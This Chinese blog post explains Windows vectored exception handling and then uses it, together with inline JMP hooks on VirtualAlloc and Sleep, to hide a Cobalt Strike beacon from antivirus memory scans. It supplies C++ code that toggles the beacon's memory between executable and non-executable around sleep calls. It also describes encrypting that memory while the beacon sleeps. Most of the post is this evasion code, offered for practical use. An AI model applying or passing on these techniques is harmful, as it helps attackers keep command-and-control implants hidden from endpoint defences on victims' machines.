VEH hook

windows中的异常处理

windows中的主要异常处理机制:VEH、SHE、C++EH。

SEH中文全称:结构化异常处理。就是平常用的 __try__finally __try__except,是对C的扩展。

WEH中文名称:向量异常处理。一般来说用AddVectorExceptionHandler 去添加一个异常处理函数,可以通过第一个参数决定是否将VEH函数插入到VEH链表头,插入链表头的函数先执行,如果为1,则会最优先执行。

C++EH是C++提供的异常处理方式,执行顺序将排在最后。

在用户模式下发生异常时,异常处理分发函数在内部会先调用遍历VEH记录链表的函数,如果没有找到可以处理异常的注册函数,再开始遍历SEH注册链表。

Windows异常处理顺序流程

终止当前程序的执行-->调试器(进程必须被调试,向调试器发送EXCEPTION_DEBUG_EVENT消息)-->执行VEH-->执行SEH-->TopLevelEH(进程调试时不会被执行)-->执行VEH-->交给调试器(上面的异常处理都说处理不了,就再次交给调试器)-->调用异常端口通知csrss.exe

通过流程可以看到VEH的执行顺序是先于SEH的

通过VEH异常处理规避内存扫描

当AV扫描进程空间的时候,并不会将所有的内存空间都扫描一遍,只会扫描敏感的内存区域。

所谓敏感内存区域就是指可执行的区域。思路就是不断改变某一块内存属性,当执行命令或者某些操作的时候,执行的内存属性是可执行的,当功能模块进入睡眠的时候将内存属性改为不可执行。

当执行的地址空间为不可执行时,若强行执行会返回0xc0000005异常,这个异常是指没有执行权限。所以通过VEH抓取这个异常,即可根据需求,动态的改变内存属性,进而逃避内存扫描。

当触发0xc0000005异常的时候需要恢复内存的可执行属性,就通过AddVectoredExceptionHandler去注册一个异常处理函数,作用就是更改内存属性为可执行。那么就需要知道是哪一块地址需要修改,这里要根据申请空间的API决定,如果是 VirtualAlloc 就hook VirtualAlloc ,如果是其他申请空间API就hook其他API,这个根据具体的c2profile配置有关。如果不使用c2profile,那么就是默认使用 VirtualAlloc分配空间,

还有一个需要去hook的就是Sleep,因为需要在执行Sleep的时候就将功能模块的内存属性改为不可执行,规避内存扫描。

封装了一个HOOK变量,

class HOOK {
public:
    HOOK();
    ~HOOK();
    BOOL Vir_FLAG;
    HANDLE hEvent;
    BYTE g_OldAlloc[5];
    BYTE g_OldSleep[5];
    DWORD Beacon_flOldProtect;
    LPVOID BeaconAddress;
    SIZE_T BeaconLen;

    void HookVirtualAlloc();
    void UnHookVirtualAlloc();
    void HookSleep();
    void UnHookSleep();
    
};
#include"HookVirtual.h"
extern HOOK hook;

HOOK::HOOK()
{
    Vir_FLAG=FALSE;
    hEvent= CreateEvent(NULL, FALSE, FALSE, NULL);
    Beacon_flOldProtect=0;
    BeaconAddress=NULL;
    BeaconLen=0;
    for (int i = 0; i < 5; i++) {
        g_OldAlloc[i] = 0;
    };
    for (int i = 0; i < 5; i++) {
        g_OldSleep[i] = 0;
    };
}
HOOK::~HOOK()
{

}

static LPVOID
(WINAPI* OldVirtualAlloc)(
    _In_opt_ LPVOID lpAddress,
    _In_     SIZE_T dwSize,
    _In_     DWORD flAllocationType,
    _In_     DWORD flProtect
    )=VirtualAlloc;
static VOID(WINAPI* OldSleep)(_In_ DWORD dwMilliseconds)=Sleep;


LPVOID WINAPI NewVirtualAlloc(
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD flAllocationType,
    DWORD flProtect
)
{
    hook.UnHookVirtualAlloc();
    hook.BeaconLen = dwSize;
    hook.BeaconAddress = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
    hook.HookVirtualAlloc();
    printf("分配大小:%d\n", hook.BeaconLen);
    printf("分配地址:%d\n", hook.BeaconAddress);
    return hook.BeaconAddress;
}


void WINAPI NewSleep(
    _In_ DWORD dwMilliseconds
)
{
    if (hook.Vir_FLAG)
    {
        VirtualFree(hook.BeaconAddress, 0, MEM_RELEASE);
        hook.Vir_FLAG = false;
    }
    printf("sleep时间:%d\n", dwMilliseconds);
    hook.UnHookSleep();
    OldSleep(dwMilliseconds);
    hook.HookSleep();
    SetEvent(hook.hEvent); //解锁
}
void HOOK::HookVirtualAlloc()
{
    DWORD dwAllocOldProtect = NULL;
    BYTE PAllocData[5] = { 0xe9,0x0,0x0,0x0,0x0 };
    RtlCopyMemory(g_OldAlloc, OldVirtualAlloc, sizeof(PAllocData));//保存原来的硬编码
    DWORD dwAllocOffset = (DWORD)NewVirtualAlloc - (DWORD)OldVirtualAlloc - 5;//计算偏移
    /*因为你将要构建的跳转指令通常是 5 个字节长(0xE9 指令)。这是因为 x86 汇编中的无条件跳转指令需要 5 个字节来包括跳转指令本身以及相对偏移值。*/
    RtlCopyMemory(&PAllocData[1], &dwAllocOffset, sizeof(dwAllocOffset));//得到完整的PAllocData
    VirtualProtect(OldVirtualAlloc, 5, PAGE_EXECUTE_READWRITE, &dwAllocOldProtect);//改为可写属性
    RtlCopyMemory(OldVirtualAlloc, PAllocData, sizeof(PAllocData));//将偏移地址写入,跳转到新的
    VirtualProtect(OldVirtualAlloc, 5, dwAllocOldProtect, &dwAllocOldProtect);
};
void HOOK::UnHookVirtualAlloc()
{
    DWORD dwOldProtect = NULL;
    VirtualProtect(OldVirtualAlloc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    RtlCopyMemory(OldVirtualAlloc, g_OldAlloc, sizeof(g_OldAlloc));//还原硬编码
    VirtualProtect(OldVirtualAlloc, 5, dwOldProtect, &dwOldProtect);//还原属性
}
void HOOK::HookSleep()
{
    DWORD dwSleepOldProtect = NULL;
    BYTE PSleepData[5] = { 0xe9,0x0,0x0,0x0,0x0 };
    RtlCopyMemory(g_OldSleep, OldSleep, sizeof(PSleepData));//保存原来的硬编码
    DWORD dwSleepOffset = (DWORD)(NewSleep) - (DWORD)OldSleep - 5;    //计算偏移
    /*因为你将要构建的跳转指令通常是 5 个字节长(0xE9 指令)。这是因为 x86 汇编中的无条件跳转指令需要 5 个字节来包括跳转指令本身以及相对偏移值。*/
    RtlCopyMemory(&PSleepData[1], &dwSleepOffset, sizeof(dwSleepOffset));//得到完整的PAllocData
    VirtualProtect(OldSleep, 5, PAGE_READWRITE, &dwSleepOldProtect);//改为可写属性
    RtlCopyMemory(OldSleep, PSleepData, sizeof(PSleepData));//将偏移地址写入,跳转到新的
    VirtualProtect(OldSleep, 5, dwSleepOldProtect, &dwSleepOldProtect);
}
void HOOK::UnHookSleep()
{
    DWORD dwOldProtect = NULL;
    VirtualProtect(OldSleep, 5, PAGE_READWRITE, &dwOldProtect);
    RtlCopyMemory(OldSleep, g_OldSleep, sizeof(g_OldSleep));//还原硬编码
    VirtualProtect(OldSleep, 5, dwOldProtect, &dwOldProtect);//还原属性
}

然后就是注册异常函数,这个异常函数就是为了恢复可执行内存属性。

BOOL is_Exception(DWORD eipValue)
{

    if (eipValue > 0x1000)
    {
        return true;
    }
    else
    {
        return false;
    }
}

is_Exception函数是为了验证是不是在申请空间内范围出现异常,而不是其他内存空间。(NTAPI是一种调用约定)

起一个线程,让它不断等待sleep函数通知,通知后就将内存空间设置为不可执行,线程控制的话就用到了事件。

LONG NTAPI PvectoredExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo)
{
    wprintf(L"异常错误码:%x\n", ExceptionInfo->ExceptionRecord->ExceptionCode);
    wprintf(L"线程地址:%lx\n", ExceptionInfo->ExceptionRecord->ExceptionAddress);
    if (ExceptionInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(ExceptionInfo->ContextRecord->Eip))
    {
        printf("恢复可执行内存属性");
        VirtualProtect(hook.BeaconAddress, hook.BeaconLen, PAGE_EXECUTE_READWRITE, &hook.Beacon_flOldProtect);
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH;
}
DWORD WINAPI SetNoExecutable(LPVOID lpParameter) {
    while (true)
    {
        //等待解锁
        WaitForSingleObject(hook.hEvent, INFINITE);
        printf("设置Beacon内存属性不可执行\n");
        VirtualProtect(hook.BeaconAddress, hook.BeaconLen, PAGE_READWRITE, &hook.Beacon_flOldProtect);
        //设置事件为未被通知的,重新上锁
        ResetEvent(hook.hEvent);
    }
}

由于杀软并不是一直扫描内存,而是间歇性的扫描敏感内存,因此可以在cs的shellcode调用sleep休眠将可执行内存区域加密,在休眠结束时,再将内存解密来规避杀软内存扫描达到免杀目的。进行内存加密时,需要注意的一点,需要加密的不是我们为shellcode申请的内存,而是shellcode自己使用virtualalloc函数申请的内存。

我们需要对 shellcode 自己使用 VirtualAlloc 函数申请的内存 2 进行加密,这就需要挂钩 sleep 函数到我们自定义的 HookSleep 函数:

在进入 HookSleep 函数时使用自定义加密函数对内存 2 进行加密并使用 VirtualProtect 更改内存 2 权限为 PAGE_NOACCESS,使其不可访问。

恢复原来的 Sleep 函数并调用原函数进行休眠。

在退出 HookSleep 函数时对内存 2 进行解密并使用 VirtualProtect 更改内存 2 权限为可执行权限 PAGE_EXECUTE。

最后代码执行效果

***要注意,这段代码是在32位操作系统中实现的,如果是64位系统,要注意HOOK API中代码的撰写,偏移量等一些参数。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值